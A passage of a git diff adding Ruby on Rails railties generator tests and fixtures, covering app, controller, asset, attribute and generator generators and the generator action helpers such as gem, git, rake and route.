+++ b/railties/test/fixtures/lib/generators/usage_template/USAGE
@@ -0,0 +1 @@
+:: <%= 1 + 1 %> ::
\ No newline at end of file
diff --git a/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb b/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb
new file mode 100644
index 0000000..078b0f9
--- /dev/null
+++ b/railties/test/fixtures/lib/generators/usage_template/usage_template_generator.rb
@@ -0,0 +1,5 @@
+require 'rails/generators'
+
+class UsageTemplateGenerator < Rails::Generators::Base
+ source_root File.expand_path("templates", File.dirname(__FILE__))
+end
diff --git a/railties/test/fixtures/lib/rails/generators/foobar/foobar_generator.rb b/railties/test/fixtures/lib/rails/generators/foobar/foobar_generator.rb
new file mode 100644
index 0000000..d1de8c5
--- /dev/null
+++ b/railties/test/fixtures/lib/rails/generators/foobar/foobar_generator.rb
@@ -0,0 +1,4 @@
+module Foobar
+ class FoobarGenerator < Rails::Generators::Base
+ end
+end
diff --git a/railties/test/fixtures/lib/template.rb b/railties/test/fixtures/lib/template.rb
new file mode 100644
index 0000000..c14a1a8
--- /dev/null
+++ b/railties/test/fixtures/lib/template.rb
@@ -0,0 +1 @@
+say "It works from file!"
diff --git a/railties/test/generators/actions_test.rb b/railties/test/generators/actions_test.rb
new file mode 100644
index 0000000..f8fa8ee
--- /dev/null
+++ b/railties/test/generators/actions_test.rb
@@ -0,0 +1,240 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/rails/app/app_generator'
+require 'env_helpers'
+
+class ActionsTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+ include EnvHelpers
+
+ tests Rails::Generators::AppGenerator
+ arguments [destination_root]
+
+ def setup
+ Rails.application = TestApp::Application
+ super
+ end
+
+ def teardown
+ Rails.application = TestApp::Application.instance
+ end
+
+ def test_invoke_other_generator_with_shortcut
+ action :invoke, 'model', ['my_model']
+ assert_file 'app/models/my_model.rb', /MyModel/
+ end
+
+ def test_invoke_other_generator_with_full_namespace
+ action :invoke, 'rails:model', ['my_model']
+ assert_file 'app/models/my_model.rb', /MyModel/
+ end
+
+ def test_create_file_should_write_data_to_file_path
+ action :create_file, 'lib/test_file.rb', 'heres test data'
+ assert_file 'lib/test_file.rb', 'heres test data'
+ end
+
+ def test_create_file_should_write_block_contents_to_file_path
+ action(:create_file, 'lib/test_file.rb'){ 'heres block data' }
+ assert_file 'lib/test_file.rb', 'heres block data'
+ end
+
+ def test_add_source_adds_source_to_gemfile
+ run_generator
+ action :add_source, 'http://gems.github.com'
+ assert_file 'Gemfile', /source "http:\/\/gems\.github\.com"/
+ end
+
+ def test_gem_should_put_gem_dependency_in_gemfile
+ run_generator
+ action :gem, 'will-paginate'
+ assert_file 'Gemfile', /gem "will\-paginate"/
+ end
+
+ def test_gem_with_version_should_include_version_in_gemfile
+ run_generator
+
+ action :gem, 'rspec', '>=2.0.0.a5'
+
+ assert_file 'Gemfile', /gem "rspec", ">=2.0.0.a5"/
+ end
+
+ def test_gem_should_insert_on_separate_lines
+ run_generator
+
+ File.open('Gemfile', 'a') {|f| f.write('# Some content...') }
+
+ action :gem, 'rspec'
+ action :gem, 'rspec-rails'
+
+ assert_file 'Gemfile', /^gem "rspec"$/
+ assert_file 'Gemfile', /^gem "rspec-rails"$/
+ end
+
+ def test_gem_should_include_options
+ run_generator
+
+ action :gem, 'rspec', github: 'dchelimsky/rspec', tag: '1.2.9.rc1'
+
+ assert_file 'Gemfile', /gem "rspec", github: "dchelimsky\/rspec", tag: "1\.2\.9\.rc1"/
+ end
+
+ def test_gem_group_should_wrap_gems_in_a_group
+ run_generator
+
+ action :gem_group, :development, :test do
+ gem 'rspec-rails'
+ end
+
+ action :gem_group, :test do
+ gem 'fakeweb'
+ end
+
+ assert_file 'Gemfile', /\ngroup :development, :test do\n gem "rspec-rails"\nend\n\ngroup :test do\n gem "fakeweb"\nend/
+ end
+
+ def test_environment_should_include_data_in_environment_initializer_block
+ run_generator
+ autoload_paths = 'config.autoload_paths += %w["#{Rails.root}/app/extras"]'
+ action :environment, autoload_paths
+ assert_file 'config/application.rb', / class Application < Rails::Application\n #{Regexp.escape(autoload_paths)}/
+ end
+
+ def test_environment_should_include_data_in_environment_initializer_block_with_env_option
+ run_generator
+ autoload_paths = 'config.autoload_paths += %w["#{Rails.root}/app/extras"]'
+ action :environment, autoload_paths, env: 'development'
+ assert_file "config/environments/development.rb", /Application\.configure do\n #{Regexp.escape(autoload_paths)}/
+ end
+
+ def test_environment_with_block_should_include_block_contents_in_environment_initializer_block
+ run_generator
+
+ action :environment do
+ '# This wont be added'
+ '# This will be added'
+ end
+
+ assert_file 'config/application.rb' do |content|
+ assert_match(/# This will be added/, content)
+ assert_no_match(/# This wont be added/, content)
+ end
+ end
+
+ def test_git_with_symbol_should_run_command_using_git_scm
+ generator.expects(:run).once.with('git init')
+ action :git, :init
+ end
+
+ def test_git_with_hash_should_run_each_command_using_git_scm
+ generator.expects(:run).times(2)
+ action :git, rm: 'README', add: '.'
+ end
+
+ def test_vendor_should_write_data_to_file_in_vendor
+ action :vendor, 'vendor_file.rb', '# vendor data'
+ assert_file 'vendor/vendor_file.rb', '# vendor data'
+ end
+
+ def test_lib_should_write_data_to_file_in_lib
+ action :lib, 'my_library.rb', 'class MyLibrary'
+ assert_file 'lib/my_library.rb', 'class MyLibrary'
+ end
+
+ def test_rakefile_should_write_date_to_file_in_lib_tasks
+ action :rakefile, 'myapp.rake', 'task run: [:environment]'
+ assert_file 'lib/tasks/myapp.rake', 'task run: [:environment]'
+ end
+
+ def test_initializer_should_write_date_to_file_in_config_initializers
+ action :initializer, 'constants.rb', 'MY_CONSTANT = 42'
+ assert_file 'config/initializers/constants.rb', 'MY_CONSTANT = 42'
+ end
+
+ def test_generate_should_run_script_generate_with_argument_and_options
+ generator.expects(:run_ruby_script).once.with('bin/rails generate model MyModel', verbose: false)
+ action :generate, 'model', 'MyModel'
+ end
+
+ def test_rake_should_run_rake_command_with_default_env
+ generator.expects(:run).once.with("rake log:clear RAILS_ENV=development", verbose: false)
+ with_rails_env nil do
+ action :rake, 'log:clear'
+ end
+ end
+
+ def test_rake_with_env_option_should_run_rake_command_in_env
+ generator.expects(:run).once.with('rake log:clear RAILS_ENV=production', verbose: false)
+ action :rake, 'log:clear', env: 'production'
+ end
+
+ def test_rake_with_rails_env_variable_should_run_rake_command_in_env
+ generator.expects(:run).once.with('rake log:clear RAILS_ENV=production', verbose: false)
+ with_rails_env "production" do
+ action :rake, 'log:clear'
+ end
+ end
+
+ def test_env_option_should_win_over_rails_env_variable_when_running_rake
+ generator.expects(:run).once.with('rake log:clear RAILS_ENV=production', verbose: false)
+ with_rails_env "staging" do
+ action :rake, 'log:clear', env: 'production'
+ end
+ end
+
+ def test_rake_with_sudo_option_should_run_rake_command_with_sudo
+ generator.expects(:run).once.with("sudo rake log:clear RAILS_ENV=development", verbose: false)
+ with_rails_env nil do
+ action :rake, 'log:clear', sudo: true
+ end
+ end
+
+ def test_capify_should_run_the_capify_command
+ generator.expects(:run).once.with('capify .', verbose: false)
+ action :capify!
+ end
+
+ def test_route_should_add_data_to_the_routes_block_in_config_routes
+ run_generator
+ route_command = "route '/login', controller: 'sessions', action: 'new'"
+ action :route, route_command
+ assert_file 'config/routes.rb', /#{Regexp.escape(route_command)}/
+ end
+
+ def test_readme
+ run_generator
+ Rails::Generators::AppGenerator.expects(:source_root).times(2).returns(destination_root)
+ assert_match "application up and running", action(:readme, "README.rdoc")
+ end
+
+ def test_readme_with_quiet
+ generator(default_arguments, quiet: true)
+ run_generator
+ Rails::Generators::AppGenerator.expects(:source_root).times(2).returns(destination_root)
+ assert_no_match "application up and running", action(:readme, "README.rdoc")
+ end
+
+ def test_log
+ assert_equal("YES\n", action(:log, "YES"))
+ end
+
+ def test_log_with_status
+ assert_equal(" yes YES\n", action(:log, :yes, "YES"))
+ end
+
+ def test_log_with_quiet
+ generator(default_arguments, quiet: true)
+ assert_equal("", action(:log, "YES"))
+ end
+
+ def test_log_with_status_with_quiet
+ generator(default_arguments, quiet: true)
+ assert_equal("", action(:log, :yes, "YES"))
+ end
+
+ protected
+
+ def action(*args, &block)
+ silence(:stdout){ generator.send(*args, &block) }
+ end
+
+end
diff --git a/railties/test/generators/app_generator_test.rb b/railties/test/generators/app_generator_test.rb
new file mode 100644
index 0000000..5fdf58c
--- /dev/null
+++ b/railties/test/generators/app_generator_test.rb
@@ -0,0 +1,367 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/rails/app/app_generator'
+require 'generators/shared_generator_tests'
+
+DEFAULT_APP_FILES = %w(
+ .gitignore
+ Gemfile
+ Rakefile
+ config.ru
+ app/assets/javascripts
+ app/assets/stylesheets
+ app/assets/images
+ app/controllers
+ app/controllers/concerns
+ app/helpers
+ app/mailers
+ app/models
+ app/models/concerns
+ app/views/layouts
+ bin/bundle
+ bin/rails
+ bin/rake
+ config/environments
+ config/initializers
+ config/locales
+ db
+ lib
+ lib/tasks
+ lib/assets
+ log
+ test/fixtures
+ test/controllers
+ test/models
+ test/helpers
+ test/mailers
+ test/integration
+ vendor
+ vendor/assets
+ tmp/cache
+ tmp/cache/assets
+)
+
+class AppGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+ arguments [destination_root]
+
+ # brings setup, teardown, and some tests
+ include SharedGeneratorTests
+
+ def default_files
+ ::DEFAULT_APP_FILES
+ end
+
+ def test_assets
+ run_generator
+ assert_file "app/views/layouts/application.html.erb", /stylesheet_link_tag\s+"application"/
+ assert_file "app/views/layouts/application.html.erb", /javascript_include_tag\s+"application"/
+ assert_file "app/assets/stylesheets/application.css"
+ end
+
+ def test_invalid_application_name_raises_an_error
+ content = capture(:stderr){ run_generator [File.join(destination_root, "43-things")] }
+ assert_equal "Invalid application name 43-things. Please give a name which does not start with numbers.\n", content
+ end
+
+ def test_invalid_application_name_is_fixed
+ run_generator [File.join(destination_root, "things-43")]
+ assert_file "things-43/config/environment.rb", /Things43::Application\.initialize!/
+ assert_file "things-43/config/application.rb", /^module Things43$/
+ end
+
+ def test_application_new_exits_with_non_zero_code_on_invalid_application_name
+ quietly { system 'rails new test --no-rc' }
+ assert_equal false, $?.success?
+ end
+
+ def test_application_new_exits_with_message_and_non_zero_code_when_generating_inside_existing_rails_directory
+ app_root = File.join(destination_root, 'myfirstapp')
+ run_generator [app_root]
+ output = nil
+ Dir.chdir(app_root) do
+ output = `rails new mysecondapp`
+ end
+ assert_equal "Can't initialize a new Rails application within the directory of another, please change to a non-Rails directory first.\nType 'rails' for help.\n", output
+ assert_equal false, $?.success?
+ end
+
+ def test_application_new_show_help_message_inside_existing_rails_directory
+ app_root = File.join(destination_root, 'myfirstapp')
+ run_generator [app_root]
+ output = Dir.chdir(app_root) do
+ `rails new --help`
+ end
+ assert_match(/rails new APP_PATH \[options\]/, output)
+ assert_equal true, $?.success?
+ end
+
+ def test_application_name_is_detected_if_it_exists_and_app_folder_renamed
+ app_root = File.join(destination_root, "myapp")
+ app_moved_root = File.join(destination_root, "myapp_moved")
+
+ run_generator [app_root]
+
+ Rails.application.config.root = app_moved_root
+ Rails.application.class.stubs(:name).returns("Myapp")
+ Rails.application.stubs(:is_a?).returns(Rails::Application)
+
+ FileUtils.mv(app_root, app_moved_root)
+
+ generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true },
+ destination_root: app_moved_root, shell: @shell
+ generator.send(:app_const)
+ quietly { generator.send(:create_config_files) }
+ assert_file "myapp_moved/config/environment.rb", /Myapp::Application\.initialize!/
+ assert_file "myapp_moved/config/initializers/session_store.rb", /_myapp_session/
+ end
+
+ def test_rails_update_generates_correct_session_key
+ app_root = File.join(destination_root, 'myapp')
+ run_generator [app_root]
+
+ Rails.application.config.root = app_root
+ Rails.application.class.stubs(:name).returns("Myapp")
+ Rails.application.stubs(:is_a?).returns(Rails::Application)
+
+ generator = Rails::Generators::AppGenerator.new ["rails"], { with_dispatchers: true }, destination_root: app_root, shell: @shell
+ generator.send(:app_const)
+ quietly { generator.send(:create_config_files) }
+ assert_file "myapp/config/initializers/session_store.rb", /_myapp_session/
+ end
+
+ def test_application_names_are_not_singularized
+ run_generator [File.join(destination_root, "hats")]
+ assert_file "hats/config/environment.rb", /Hats::Application\.initialize!/
+ end
+
+ def test_gemfile_has_no_whitespace_errors
+ run_generator
+ absolute = File.expand_path("Gemfile", destination_root)
+ File.open(absolute, 'r') do |f|
+ f.each_line do |line|
+ assert_no_match %r{/^[ \t]+$/}, line
+ end
+ end
+ end
+
+ def test_config_database_is_added_by_default
+ run_generator
+ assert_file "config/database.yml", /sqlite3/
+ unless defined?(JRUBY_VERSION)
+ assert_gem "sqlite3"
+ else
+ assert_gem "activerecord-jdbcsqlite3-adapter"
+ end
+ end
+
+ def test_config_another_database
+ run_generator([destination_root, "-d", "mysql"])
+ assert_file "config/database.yml", /mysql/
+ unless defined?(JRUBY_VERSION)
+ assert_gem "mysql2"
+ else
+ assert_gem "activerecord-jdbcmysql-adapter"
+ end
+ end
+
+ def test_config_database_app_name_with_period
+ run_generator [File.join(destination_root, "common.usage.com"), "-d", "postgresql"]
+ assert_file "common.usage.com/config/database.yml", /common_usage_com/
+ end
+
+ def test_config_postgresql_database
+ run_generator([destination_root, "-d", "postgresql"])
+ assert_file "config/database.yml", /postgresql/
+ unless defined?(JRUBY_VERSION)
+ assert_gem "pg"
+ else
+ assert_gem "activerecord-jdbcpostgresql-adapter"
+ end
+ end
+
+ def test_config_jdbcmysql_database
+ run_generator([destination_root, "-d", "jdbcmysql"])
+ assert_file "config/database.yml", /mysql/
+ assert_gem "activerecord-jdbcmysql-adapter"
+ # TODO: When the JRuby guys merge jruby-openssl in
+ # jruby this will be removed
+ assert_gem "jruby-openssl" if defined?(JRUBY_VERSION)
+ end
+
+ def test_config_jdbcsqlite3_database
+ run_generator([destination_root, "-d", "jdbcsqlite3"])
+ assert_file "config/database.yml", /sqlite3/
+ assert_gem "activerecord-jdbcsqlite3-adapter"
+ end
+
+ def test_config_jdbcpostgresql_database
+ run_generator([destination_root, "-d", "jdbcpostgresql"])
+ assert_file "config/database.yml", /postgresql/
+ assert_gem "activerecord-jdbcpostgresql-adapter"
+ end
+
+ def test_config_jdbc_database
+ run_generator([destination_root, "-d", "jdbc"])
+ assert_file "config/database.yml", /jdbc/
+ assert_file "config/database.yml", /mssql/
+ assert_gem "activerecord-jdbc-adapter"
+ end
+
+ def test_config_jdbc_database_when_no_option_given
+ if defined?(JRUBY_VERSION)
+ run_generator([destination_root])
+ assert_file "config/database.yml", /sqlite3/
+ assert_gem "activerecord-jdbcsqlite3-adapter"
+ end
+ end
+
+ def test_generator_if_skip_active_record_is_given
+ run_generator [destination_root, "--skip-active-record"]
+ assert_no_file "config/database.yml"
+ assert_file "config/application.rb", /#\s+require\s+["']active_record\/railtie["']/
+ assert_file "test/test_helper.rb" do |helper_content|
+ assert_no_match(/fixtures :all/, helper_content)
+ end
+ end
+
+ def test_generator_if_skip_sprockets_is_given
+ run_generator [destination_root, "--skip-sprockets"]
+ assert_file "config/application.rb" do |content|
+ assert_match(/#\s+require\s+["']sprockets\/railtie["']/, content)
+ assert_match(/config\.assets\.enabled = false/, content)
+ end
+ assert_file "Gemfile" do |content|
+ assert_no_match(/sass-rails/, content)
+ assert_no_match(/uglifier/, content)
+ assert_match(/coffee-rails/, content)
+ end
+ assert_file "config/environments/development.rb" do |content|
+ assert_no_match(/config\.assets\.debug = true/, content)
+ end
+ assert_file "config/environments/production.rb" do |content|
+ assert_no_match(/config\.assets\.digest = true/, content)
+ assert_no_match(/config\.assets\.js_compressor = :uglifier/, content)
+ assert_no_match(/config\.assets\.css_compressor = :sass/, content)
+ assert_no_match(/config\.assets\.version = '1\.0'/, content)
+ end
+ end
+
+ def test_inclusion_of_javascript_runtime
+ run_generator([destination_root])
+ if defined?(JRUBY_VERSION)
+ assert_gem "therubyrhino"
+ else
+ assert_file "Gemfile", /# gem\s+["']therubyracer["']+, platforms: :ruby$/
+ end
+ end
+
+ def test_creation_of_a_test_directory
+ run_generator
+ assert_file 'test'
+ end
+
+ def test_creation_of_vendor_assets_javascripts_directory
+ run_generator
+ assert_file "vendor/assets/javascripts"
+ end
+
+ def test_creation_of_vendor_assets_stylesheets_directory
+ run_generator
+ assert_file "vendor/assets/stylesheets"
+ end
+
+ def test_jquery_is_the_default_javascript_library
+ run_generator
+ assert_file "app/assets/javascripts/application.js" do |contents|
+ assert_match %r{^//= require jquery}, contents
+ assert_match %r{^//= require jquery_ujs}, contents
+ end
+ assert_file "Gemfile", /^gem 'jquery-rails'/
+ end
+
+ def test_other_javascript_libraries
+ run_generator [destination_root, '-j', 'prototype']
+ assert_file "app/assets/javascripts/application.js" do |contents|
+ assert_match %r{^//= require prototype}, contents
+ assert_match %r{^//= require prototype_ujs}, contents
+ end
+ assert_gem "prototype-rails"
+ end
+
+ def test_javascript_is_skipped_if_required
+ run_generator [destination_root, "--skip-javascript"]
+ assert_file "app/assets/javascripts/application.js" do |contents|
+ assert_no_match %r{^//=\s+require\s}, contents
+ end
+ assert_file "Gemfile" do |content|
+ assert_match(/coffee-rails/, content)
+ end
+ end
+
+ def test_inclusion_of_debugger
+ run_generator
+ assert_file "Gemfile", /# gem 'debugger'/
+ end
+
+ def test_inclusion_of_lazy_loaded_sdoc
+ run_generator
+ assert_file 'Gemfile', /gem 'sdoc', require: false/
+ end
+
+ def test_template_from_dir_pwd
+ FileUtils.cd(Rails.root)
+ assert_match(/It works from file!/, run_generator([destination_root, "-m", "lib/template.rb"]))
+ end
+
+ def test_usage_read_from_file
+ File.expects(:read).returns("USAGE FROM FILE")
+ assert_equal "USAGE FROM FILE", Rails::Generators::AppGenerator.desc
+ end
+
+ def test_default_usage
+ Rails::Generators::AppGenerator.expects(:usage_path).returns(nil)
+ assert_match(/Create rails files for app generator/, Rails::Generators::AppGenerator.desc)
+ end
+
+ def test_default_namespace
+ assert_match "rails:app", Rails::Generators::AppGenerator.namespace
+ end
+
+ def test_file_is_added_for_backwards_compatibility
+ action :file, 'lib/test_file.rb', 'heres test data'
+ assert_file 'lib/test_file.rb', 'heres test data'
+ end
+
+ def test_test_unit_is_removed_from_frameworks_if_skip_test_unit_is_given
+ run_generator [destination_root, "--skip-test-unit"]
+ assert_file "config/application.rb", /#\s+require\s+["']rails\/test_unit\/railtie["']/
+ end
+
+ def test_no_active_record_or_test_unit_if_skips_given
+ run_generator [destination_root, "--skip-test-unit", "--skip-active-record"]
+ assert_file "config/application.rb", /#\s+require\s+["']rails\/test_unit\/railtie["']/
+ assert_file "config/application.rb", /#\s+require\s+["']active_record\/railtie["']/
+ end
+
+ def test_new_hash_style
+ run_generator [destination_root]
+ assert_file "config/initializers/session_store.rb" do |file|
+ assert_match(/config.session_store :cookie_store, key: '_.+_session'/, file)
+ end
+ end
+
+ def test_pretend_option
+ output = run_generator [File.join(destination_root, "myapp"), "--pretend"]
+ assert_no_match(/run bundle install/, output)
+ end
+
+protected
+
+ def action(*args, &block)
+ silence(:stdout) { generator.send(*args, &block) }
+ end
+
+ def assert_gem(gem)
+ assert_file "Gemfile", /^gem\s+["']#{gem}["']$/
+ end
+end
diff --git a/railties/test/generators/assets_generator_test.rb b/railties/test/generators/assets_generator_test.rb
new file mode 100644
index 0000000..a2b94f2
--- /dev/null
+++ b/railties/test/generators/assets_generator_test.rb
@@ -0,0 +1,19 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/rails/assets/assets_generator'
+
+class AssetsGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+ arguments %w(posts)
+
+ def test_assets
+ run_generator
+ assert_file "app/assets/javascripts/posts.js"
+ assert_file "app/assets/stylesheets/posts.css"
+ end
+
+ def test_skipping_assets
+ run_generator ["posts", "--no-stylesheets", "--no-javascripts"]
+ assert_no_file "app/assets/javascripts/posts.js"
+ assert_no_file "app/assets/stylesheets/posts.css"
+ end
+end
diff --git a/railties/test/generators/controller_generator_test.rb b/railties/test/generators/controller_generator_test.rb
new file mode 100644
index 0000000..5205dea
--- /dev/null
+++ b/railties/test/generators/controller_generator_test.rb
@@ -0,0 +1,85 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/rails/controller/controller_generator'
+
+class ControllerGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+ arguments %w(Account foo bar)
+
+ setup :copy_routes
+
+ def test_help_does_not_show_invoked_generators_options_if_they_already_exist
+ content = run_generator ["--help"]
+ assert_no_match(/Helper options\:/, content)
+ end
+
+ def test_controller_skeleton_is_created
+ run_generator
+ assert_file "app/controllers/account_controller.rb", /class AccountController < ApplicationController/
+ end
+
+ def test_check_class_collision
+ Object.send :const_set, :ObjectController, Class.new
+ content = capture(:stderr){ run_generator ["object"] }
+ assert_match(/The name 'ObjectController' is either already used in your application or reserved/, content)
+ ensure
+ Object.send :remove_const, :ObjectController
+ end
+
+ def test_invokes_helper
+ run_generator
+ assert_file "app/helpers/account_helper.rb"
+ assert_file "test/helpers/account_helper_test.rb"
+ end
+
+ def test_does_not_invoke_helper_if_required
+ run_generator ["account", "--skip-helper"]
+ assert_no_file "app/helpers/account_helper.rb"
+ assert_no_file "test/helpers/account_helper_test.rb"
+ end
+
+ def test_invokes_assets
+ run_generator
+ assert_file "app/assets/javascripts/account.js"
+ assert_file "app/assets/stylesheets/account.css"
+ end
+
+ def test_invokes_default_test_framework
+ run_generator
+ assert_file "test/controllers/account_controller_test.rb"
+ end
+
+ def test_does_not_invoke_test_framework_if_required
+ run_generator ["account", "--no-test-framework"]
+ assert_no_file "test/controllers/account_controller_test.rb"
+ end
+
+ def test_invokes_default_template_engine
+ run_generator
+ assert_file "app/views/account/foo.html.erb", %r(app/views/account/foo\.html\.erb)
+ assert_file "app/views/account/bar.html.erb", %r(app/views/account/bar\.html\.erb)
+ end
+
+ def test_add_routes
+ run_generator
+ assert_file "config/routes.rb", /get "account\/foo"/, /get "account\/bar"/
+ end
+
+ def test_invokes_default_template_engine_even_with_no_action
+ run_generator ["account"]
+ assert_file "app/views/account"
+ end
+
+ def test_template_engine_with_class_path
+ run_generator ["admin/account"]
+ assert_file "app/views/admin/account"
+ end
+
+ def test_actions_are_turned_into_methods
+ run_generator
+
+ assert_file "app/controllers/account_controller.rb" do |controller|
+ assert_instance_method :foo, controller
+ assert_instance_method :bar, controller
+ end
+ end
+end
diff --git a/railties/test/generators/generated_attribute_test.rb b/railties/test/generators/generated_attribute_test.rb
new file mode 100644
index 0000000..c48bc20
--- /dev/null
+++ b/railties/test/generators/generated_attribute_test.rb
@@ -0,0 +1,144 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/generated_attribute'
+
+class GeneratedAttributeTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+
+ def test_field_type_returns_number_field
+ assert_field_type :integer, :number_field
+ end
+
+ def test_field_type_returns_text_field
+ %w(float decimal string).each do |attribute_type|
+ assert_field_type attribute_type, :text_field
+ end
+ end
+
+ def test_field_type_returns_datetime_select
+ %w(datetime timestamp).each do |attribute_type|
+ assert_field_type attribute_type, :datetime_select
+ end
+ end
+
+ def test_field_type_returns_time_select
+ assert_field_type :time, :time_select
+ end
+
+ def test_field_type_returns_date_select
+ assert_field_type :date, :date_select
+ end
+
+ def test_field_type_returns_text_area
+ assert_field_type :text, :text_area
+ end
+
+ def test_field_type_returns_check_box
+ assert_field_type :boolean, :check_box
+ end
+
+ def test_field_type_with_unknown_type_returns_text_field
+ %w(foo bar baz).each do |attribute_type|
+ assert_field_type attribute_type, :text_field
+ end
+ end
+
+ def test_default_value_is_integer
+ assert_field_default_value :integer, 1
+ end
+
+ def test_default_value_is_float
+ assert_field_default_value :float, 1.5
+ end
+
+ def test_default_value_is_decimal
+ assert_field_default_value :decimal, '9.99'
+ end
+
+ def test_default_value_is_datetime
+ %w(datetime timestamp time).each do |attribute_type|
+ assert_field_default_value attribute_type, Time.now.to_s(:db)
+ end
+ end
+
+ def test_default_value_is_date
+ assert_field_default_value :date, Date.today.to_s(:db)
+ end
+
+ def test_default_value_is_string
+ assert_field_default_value :string, 'MyString'
+ end
+
+ def test_default_value_for_type
+ att = Rails::Generators::GeneratedAttribute.parse("type:string")
+ assert_equal("", att.default)
+ end
+
+ def test_default_value_is_text
+ assert_field_default_value :text, 'MyText'
+ end
+
+ def test_default_value_is_boolean
+ assert_field_default_value :boolean, false
+ end
+
+ def test_default_value_is_nil
+ %w(references belongs_to).each do |attribute_type|
+ assert_field_default_value attribute_type, nil
+ end
+ end
+
+ def test_default_value_is_empty_string
+ %w(foo bar baz).each do |attribute_type|
+ assert_field_default_value attribute_type, ''
+ end
+ end
+
+ def test_human_name
+ assert_equal(
+ 'Full name',
+ create_generated_attribute(:string, 'full_name').human_name
+ )
+ end
+
+ def test_reference_is_true
+ %w(references belongs_to).each do |attribute_type|
+ assert create_generated_attribute(attribute_type).reference?
+ end
+ end
+
+ def test_reference_is_false
+ %w(foo bar baz).each do |attribute_type|
+ assert !create_generated_attribute(attribute_type).reference?
+ end
+ end
+
+ def test_polymorphic_reference_is_true
+ %w(references belongs_to).each do |attribute_type|
+ assert create_generated_attribute("#{attribute_type}{polymorphic}").polymorphic?
+ end
+ end
+
+ def test_polymorphic_reference_is_false
+ %w(foo bar baz).each do |attribute_type|
+ assert !create_generated_attribute("#{attribute_type}{polymorphic}").polymorphic?
+ end
+ end
+
+ def test_blank_type_defaults_to_string_raises_exception
+ assert_equal :string, create_generated_attribute(nil, 'title').type
+ assert_equal :string, create_generated_attribute("", 'title').type
+ end
+
+ def test_handles_index_names_for_references
+ assert_equal "post", create_generated_attribute('string', 'post').index_name
+ assert_equal "post_id", create_generated_attribute('references', 'post').index_name
+ assert_equal "post_id", create_generated_attribute('belongs_to', 'post').index_name
+ assert_equal ["post_id", "post_type"], create_generated_attribute('references{polymorphic}', 'post').index_name
+ end
+
+ def test_handles_column_names_for_references
+ assert_equal "post", create_generated_attribute('string', 'post').column_name
+ assert_equal "post_id", create_generated_attribute('references', 'post').column_name
+ assert_equal "post_id", create_generated_attribute('belongs_to', 'post').column_name
+ end
+end
diff --git a/railties/test/generators/generator_generator_test.rb b/railties/test/generators/generator_generator_test.rb
new file mode 100644
index 0000000..f4c975f
--- /dev/null
+++ b/railties/test/generators/generator_generator_test.rb
@@ -0,0 +1,59 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/rails/generator/generator_generator'
+
+class GeneratorGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+ arguments %w(awesome)
+
+ def test_generator_skeleton_is_created
+ run_generator
+
+ %w(
+ lib/generators/awesome
+ lib/generators/awesome/USAGE
+ lib/generators/awesome/templates
+ ).each{ |path| assert_file path }
+
+ assert_file "lib/generators/awesome/awesome_generator.rb",
+ /class AwesomeGenerator < Rails::Generators::NamedBase/
+ end
+
+ def test_namespaced_generator_skeleton
+ run_generator ["rails/awesome"]
+
+ %w(
+ lib/generators/rails/awesome
+ lib/generators/rails/awesome/USAGE
+ lib/generators/rails/awesome/templates
+ ).each{ |path| assert_file path }
+
+ assert_file "lib/generators/rails/awesome/awesome_generator.rb",
+ /class Rails::AwesomeGenerator < Rails::Generators::NamedBase/
+ end
+
+ def test_generator_skeleton_is_created_without_file_name_namespace
+ run_generator ["awesome", "--namespace", "false"]
+
+ %w(
+ lib/generators/
+ lib/generators/USAGE
+ lib/generators/templates
+ ).each{ |path| assert_file path }
+
+ assert_file "lib/generators/awesome_generator.rb",
+ /class AwesomeGenerator < Rails::Generators::NamedBase/
+ end
+
+ def test_namespaced_generator_skeleton_without_file_name_namespace
+ run_generator ["rails/awesome", "--namespace", "false"]
+
+ %w(
+ lib/generators/rails
+ lib/generators/rails/USAGE
+ lib/generators/rails/templates
+ ).each{ |path| assert_file path }
+
+ assert_file "lib/generators/rails/awesome_generator.rb",
+ /class Rails::AwesomeGenerator < Rails::Generators::NamedBase/
+ end
+end
diff --git a/railties/test/generators/generators_test_helper.rb b/railties/test/generators/generators_test_helper.rb
new file mode 100644
index 0000000..7fdd54f
--- /dev/null
+++ b/railties/test/generators/generators_test_helper.rb
@@ -0,0 +1,39 @@
+require 'abstract_unit'
+require 'rails/generators'
+require 'rails/generators/test_case'
+
+module Rails
+ def self.root
+ @root ||= File.expand_path(File.join(File.dirname(__FILE__), '..', 'fixtures'))
+ end
+end
+Rails.application.config.root = Rails.root
+Rails.application.config.generators.templates = [File.join(Rails.root, "lib", "templates")]
+
+# Call configure to load the settings from
+# Rails.application.config.generators to Rails::Generators
+Rails.application.load_generators
+
+require 'active_record'
+require 'action_dispatch'
+
+module GeneratorsTestHelper
+ def self.included(base)
+ base.class_eval do
+ destination File.join(Rails.root, "tmp")
+ setup :prepare_destination
+
+ begin
+ base.tests Rails::Generators.const_get(base.name.sub(/Test$/, ''))
+ rescue
+ end
+ end
+ end
+
+ def copy_routes
+ routes = File.expand_path("../../../lib/rails/generators/rails/app/templates/config/routes.rb", __FILE__)
+ destination = File.join(destination_root, "config")
+ FileUtils.mkdir_p(destination)
+ FileUtils.cp routes, destination
+ end
+end
diff --git a/railties/test/generators/helper_generator_test.rb b/railties/test/generators/helper_generator_test.rb
new file mode 100644
index 0000000..81d4fcb
--- /dev/null
+++ b/railties/test/generators/helper_generator_test.rb
@@ -0,0 +1,54 @@
+require 'generators/generators_test_helper'
+require 'rails/generators/rails/helper/helper_generator'
+
+ObjectHelper = Class.new
+AnotherObjectHelperTest = Class.new
+
+class HelperGeneratorTest < Rails::Generators::TestCase
+ include GeneratorsTestHelper
+ arguments %w(admin)
+
+ def test_helper_skeleton_is_created
+ run_generator
+ assert_file "app/helpers/admin_helper.rb", /module AdminHelper/
+ end
+
+ def test_invokes_default_test_framework
